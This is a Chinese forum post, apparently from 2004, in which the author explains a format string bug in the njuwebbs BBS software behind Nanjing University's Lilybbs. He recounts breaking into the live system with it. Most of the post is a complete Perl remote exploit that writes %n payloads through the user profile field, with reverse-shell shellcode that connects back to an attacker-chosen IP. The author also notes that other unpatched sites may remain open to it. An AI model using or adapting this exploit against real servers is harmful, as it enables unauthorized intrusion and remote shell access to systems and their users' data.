论坛: 菜鸟乐园 标题: 我是如何突破南京大学小百合系统的 复制本贴地址    
作者: toplance [toplance]    论坛用户   登录
虽然读过很多黑客文章,也做过很多黑客事迹,但这些都不能算是真正的黑客。直到有一天,
当我自己发现了一个漏洞,并且付诸实现时,我的黑客经历算是入门了。

那是从南京大学小百合bbs上发现的一个小漏洞,虽然十分简单,却足攻破整个系统。这是一
个十分平常的格式化字符串问题。虽然作者已经对此加以了注意,一处小小的忽视就足以致命
了。

njuwebbs v0.95: kernel.c function hhprintf():

int hhprintf(char *fmt, ...) {
char buf0[1024], buf[1024], *s, *getparm();
int len=0;
int my_link_mode;
va_list ap;
va_start(ap, fmt);
vsnprintf(buf, 1023, fmt, ap);
va_end(ap);
buf[1023]=0;
s=buf;
my_link_mode=atoi(getparm("my_link_mode"));
if(my_link_mode==1)  return hprintf("%s", buf);
if(!strcasestr(s, "http://") && !strcasestr(s, "ftp://") && !strcasestr(s, "mailto:"))
return hprintf("%s", buf);
while(s[0]) {
if(!strncasecmp(s, "http://", 7) || !strncasecmp(s, "mailto:", 7) || !strncasecmp(s, "ftp://", 6)) {
char *tmp;
if(len>0) {
buf0[len]=0;
hprintf("%s", buf0);
len=0;
}
tmp=strtok(s, "\'\" \r\t)(,;\n");
if(tmp==0) break;
if(strcasestr(tmp, ".gif") || strcasestr(tmp, ".jpg") || strcasestr(tmp, ".bmp")) {
printf("<IMG SRC=\"%s\" ALT=\"%s\">", nohtml(tmp), nohtml(tmp));
tmp=strtok(0, "");
if(tmp==0) return;
return hhprintf(tmp);/*************************take care here***********************/
}
printf("<a target=_blank href='%s'>%s</a>", nohtml(tmp), nohtml(tmp));
tmp=strtok(0, "");
if(tmp==0) return printf("\n");
return hhprintf(tmp);/*************************take care here***********************/
} else {
buf0[len]=s[0];
if(len<1000) len++;
s++;
}
}
}

注意到hhprintf实际上是一个自定义的格式化函数,其中调用了vsnprintf()。然而在标出的两行递归调用中,作者
把要打印的内容直接放在了格式化串中,因为我们能够控制tmp的内容,我们就能够控制格式化串!
这一格式化串的攻击手法是最简单的一种。因为hhprintf的返回内容是html页面,我们可以清晰的得到所有需要的
地址,从而得出覆盖一个指针的方法。
要调用hhprintf也十分简单,我们只需设置个人说明档,bbs系统就会将说明档写入一个文件中。在察看个人说明的时
候,系统会调用hhprintf去显示个人说明档。如果说明档是如下格式:"http://%08x", %08x就会被解释成格式,这样
堆栈中的一个数据就出现了。采用一些基本的格式化利用手法,不难得到一个shell。


代码如下:写得不怎么样,有些地址值需要加以猜测。仅供参考。其实知道了原理,自己写一个也不难。
参照了<<如何写远程自动精确定位的format string exploit>>一文中的一些技巧。
曾经成功进入南大小百合系统,可惜由于经验不足,被网管发现。此漏洞现已补上,不过不排除其他使用南大小百合
系统的bbs还没有修复的可能。

#!/usr/bin/perl
$|=1;
use Socket;
use Getopt::Std;
getopt('hpUP');

&usage unless ( defined($opt_h) && defined($opt_U) && defined($opt_P) );

#note: shell code should not have '\x25' and '\x00', try find a middle server whose ip doesn't contains these
#note: the return_addr found should not have '\x25' and '\x00', as well as it+1, +2, +3

#start global vars
$host = $opt_h;
$port = $opt_p || 80;
$user = $opt_U;
$pass = $opt_P;
$target = inet_aton($host) || die("inet_aton problems\n");

#shell code for linux, reverse connection to localhost(needs modify):3879, no \x25 and \x00
$shellcode=
#"\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b\xcd\x80\x89\xc7\x52\x66\x68\x27\x10".
#"\x43\x66\x53\x89\xe1\xb0\x10\x50\x51\x57\x89\xe1\xb0\x66\xcd\x80\xb0\x66\xb3\x04\xcd\x80\x50".
#"\x50\x57\x89\xe1\x43\xb0\x66\xcd\x80\x89\xd9\x89\xc3\xb0\x3f\x49\xcd\x80\x41\xe2\xf8.\x51".
#"\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x51\x53\x89\xe1\xb0\x0b\xcd\x80";

"\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8".
"\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89".
"\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\xc7\x45\xf0".
#change the following for bytes to a remote ip under your controll
"\x7f\x01\x01\x01\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0".
"\x43\x8d\x4d\xf4\xcd\x80\x31\xc9\xb0\x3f\xcd\x80\x41\x83\xf9\x03".
"\x75\xf6\xeb\x18\x5e\x89\x75\x08\x31\xc0\x88\x46\x07\x89\x45\x0c".
"\xb0\x0b\x89\xf3\x8d\x4d\x08\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff".
"\xff/bin/sh";


#njuwebbs specific data
$offset = 6;
$buf_size_limit = 256;
$step = $buf_size_limit - 56;

$cookies = '';
$uuid = '8ada8f9afb1f582d5ffb1f5af06b8003';
#end global vars

&login_nju;
$target_buf_addr = &locate_target_buffer;
printf "%x\n", $target_buf_addr;
$return_addr = &locate_return_addr($target_buf_addr + 4096, 0xc0000000);
$return_addr += 4;#it was ebp, now it is ip
$return_addr -= $return_addr % 4;#make 4 byte alignment, maybe not needed but somehow on lilybbs requires
#$return_addr = 0xbfffbf1c;
printf "%x\n", $return_addr;
&put_shellcode($target_buf_addr, $return_addr);

#for testing only
sub test_buf
{
    $fmt = 'http://;ABCDEFGH'.&addr_to_string(0xbfffbf1c)."\%8\$s";
    &write_in($fmt);
    my $dump = &read_out;
    print &string_to_hex($dump), "\n";
    exit;
}

sub put_shellcode
{
    my ($buf_addr, $ret_addr) = @_;
#fmt=http://;(4byte-trash)(address1)(4byte-trash)(address2)
#            (4byte_trash)(address3)(4byte-trash)(address4)(shellcode)
#            (%8x times ($offset-1))(%($padding)x)%n(%($padding)x)%n
#            (%($padding)x)%n(%($padding)x)%n
#total length = 8 + 3*5 + 8*4 + (<30) + shell_size
    my $shell_addr = $buf_addr + 8*4;#not including 'http://;'
    my $already_written = 8*4 + length($shellcode) + 8*($offset-1);
    my $cover_addr = $ret_addr;
    my $fmt = 'http://;'.'aaaa'.&addr_to_string($cover_addr++).'aaaa'.&addr_to_string($cover_addr++).
              'aaaa'.&addr_to_string($cover_addr++).'aaaa'.&addr_to_string($cover_addr++).
              $shellcode.('%8x'x ($offset-1));
    @bytelist = &addr_to_byte_array($shell_addr);
    foreach my $write_byte (@bytelist)
    {
        my $padding = &padding_for_next_byte($already_written, $write_byte);
        $fmt .= "\%$padding".'x%n';
        $already_written += $padding;
    }
    print $fmt."\n";
    print &string_to_hex($fmt)."\n";
    &write_in($fmt);
    &read_out;
    #print &string_to_hex($res), "\n";
}

sub padding_for_next_byte()
{
    my ($already_written, $write_byte) = @_;

    $write_byte += 0x100;
    $already_written %= 0x100;
    my $padding = ($write_byte - $already_written) % 0x100;
    $padding += 0x100 if($padding < 8);
    return $padding;
}

sub locate_return_addr
{
    my ($startaddr, $stopaddr) = @_;
#constructing fmt:    http://;(addr)(%$offset$s)

    for(my $current = $startaddr; $current < $stopaddr;)
    {
        if(&addr_to_string($current) =~ /\x25/)
        {
            $current++;
            next;
        }
        $fmt = 'http://;'.&addr_to_string($current)."\%$offset\$s";
        &write_in($fmt);
        my $dump = &read_out;
        $dump = substr($dump, 4);
        #printf "%x\n", $current;
        if(length($dump) > 5)
        {
            print &string_to_hex($dump), "\n";
            $index = &match_return_addr($dump);
            if($index != -1)
            {
                #printf "%x\n", $current + $index;
                return $current + $index;
            }
        }
        $current += length($dump) + 1;
    }
}

sub match_return_addr
{
    my ($str) = @_;
    for(my $i = 0; $i < length($str)-5; $i++)
    {
        my $substr = substr($str, $i);
        return ($i - 2) if($substr =~ m/^\xff\xbf[\x00-\xff][\x00-\xff][\x04-\x05]\x08/);
    }
    return -1;
}

sub locate_target_buffer
{
    my $stacktop = 0xbfffc000;#attacking lilybbs, choose 0xbfffb000
    my $stackbottom = 0xc0000000;

#probing fmt: http://;(addr($current))(1, of number $step)($uuid)\%\%\|(\%$offset\$s)\|
#response (to test if the addr drops into padding) to check with:($uuid)\%\|(part of padding)($uuid)\%\|

    for(my $current = $stacktop; $current < $stackbottom;)
    {
        if(&has_null($current))
        {
            $current++;#skip it
            next;
        }
        my $fmt = 'http://;'.&addr_to_string($current).('1'x$step).$uuid.'%%|%'.$offset.'$s|';
        #print $fmt."\n";
        &write_in($fmt);
        my $dump = &read_out;
        #print &string_to_hex($dump)."\n";
        #$current += $step;
        #next;
        my $pattern = $uuid.'\%\|[1]*'.$uuid.'\%\|';
        #print $pattern."\n";

        #last;
        if($dump =~ m/$pattern/)
        {
            return &get_target_buf_start_address($dump, $current);
        }
        else
        {
            print '#';
            $current += $step;
        }
    }

}

sub get_target_buf_start_address
{
    my($dump, $current) = @_;
#$dump contains the same content as from the start address of target buf
#$dump is:(addr($current))(1, of number $step)($uuid)(%|)(1*)($uuid)(%|)(irrelavant)
#$current points to the middle of (1, of number $step)
#so start addr is:
    $dump =~ /$uuid\%\|(1*)$uuid\%\|/;
    #printf "%x %d %d\n", $current, length($1), $step;
    return $current + length($1) - 4 - $step;
}

sub string_to_hex
{
    my ($str) = @_;
    my $hex = '';
    for(my $i = 0; $i < length($str); $i++)
    {
        $char = substr($str, $i, 1);
        $hex .= '-' unless $hex eq '';
        $hex .= sprintf("%x", ord($char));
    }
    return $hex;
}

sub addr_to_byte_array
{
    my($addr) = @_;
    my $b0 = $addr & 0xff;
    my $b1 = ($addr >> 8)  & 0xff;
    my $b2 = ($addr >> 16) & 0xff;
    my $b3 = ($addr >> 24) & 0xff;
    #assuming little-endian on server
    return ($b0, $b1, $b2, $b3);
}

sub addr_to_string
{
    my ($addr) = @_;
    my $b0 = $addr & 0xff;
    my $b1 = ($addr >> 8)  & 0xff;
    my $b2 = ($addr >> 16) & 0xff;
    my $b3 = ($addr >> 24) & 0xff;
    #assuming little-endian on server
    return chr($b0).chr($b1).chr($b2).chr($b3);
}

sub has_null
{
    my ($addr) = @_;
    my $b0 = $addr & 0xff;
    my $b1 = ($addr >> 8)  & 0xff;
    my $b2 = ($addr >> 16) & 0xff;
    my $b3 = ($addr >> 24) & 0xff;
    return 1 unless ($b0 && $b1 && $b2 && $b3);
    return 0;
}

sub login_nju
{
    my $req = "GET /bbslogin?id=$user&pw=$pass&type=2 HTTP/1.0\n"."Host: $host:$port\n\n";
    my @res = sendraw($req);
    #print "@res";
    foreach (@res)
    {
        if(/document\.cookie\=\'([^\']*)\'/)
        {
            if($cookies eq '')
            {
                $cookies .= "$1";
            }
            else
            {
                $cookies .= "&$1";
            }
        }
    }
}

sub write_in
{
    my ($fmt) = @_;
    $fmt = http_escape($fmt);
    #print "####################$fmt###################\n";
    my $req = "GET /bbsplan?text=$fmt&type=update&$cookies HTTP/1.0\n"."Host: $host:$port\n\n";
    sendraw($req);
    #print "@res\n";
}

sub read_out
{
    my $req = "GET /bbsqry?userid=$user HTTP/1.0\n"."Host: $host:$port\n\n";
    @res = sendraw($req);

    if("@res" =~ /\<a target\=\_blank href\=\'http\:\/\/\'\>http\:\/\/\<\/a\>([\x00-\xff]*)\<\/pre\>\<\/table\>/)
    {
        #print $1."\n";
        return $1;
    }

    #die (&string_to_hex("@res")."\n");
    print "no match!\n";
    return '';
}

# refer to PsKey <PsKey@hotmail.com>'s article about dvbbs exploit
sub sendraw
{
    my ($req) = @_;

    while(1)
    {
        socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || die("Socket problems\n");
        if(connect(S,pack "SnA4x8",2,$port,$target)){
            select(S);
        $| = 1;
            print $req;
        my @res = <S>;
            select(STDOUT);
        close(S);
            return @res;
        }
        else {
            next;
        }
    }
}

sub usage
{
print qq~
Usage: $0 -h <Host> [-p <port>]
    -h  = hostname you want to attack
    -p  = port,80 default
    -U  = bbs user name
    -P  = bbs user password
~;
    exit;
}

sub http_escape
{
    my($str) = @_;
    my($out) ="";
    for(my($i) = 0; $i < length($str); $i++)
    {
        my($c) = substr($str, $i, 1);
        #$out .= sprintf("%%%02x", ord($c));
        if(ord($c) <= 0x20)
        {
            $out .= sprintf("%%%02x", ord($c));
        }
        elsif($c eq '%')
        {
            $out .= '%25';
        }
        elsif($c eq '+')
        {
            $out .= '%2B';
        }
        elsif($c eq '&')
        {
            $out .= '%26';
        }
        elsif($c eq '=')
        {
            $out .= '%3D';
        }
        else
        {
            $out .= $c;
        }
    }
    return $out;
}


地主 发表时间: 04-05-14 15:18

论坛: 菜鸟乐园

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号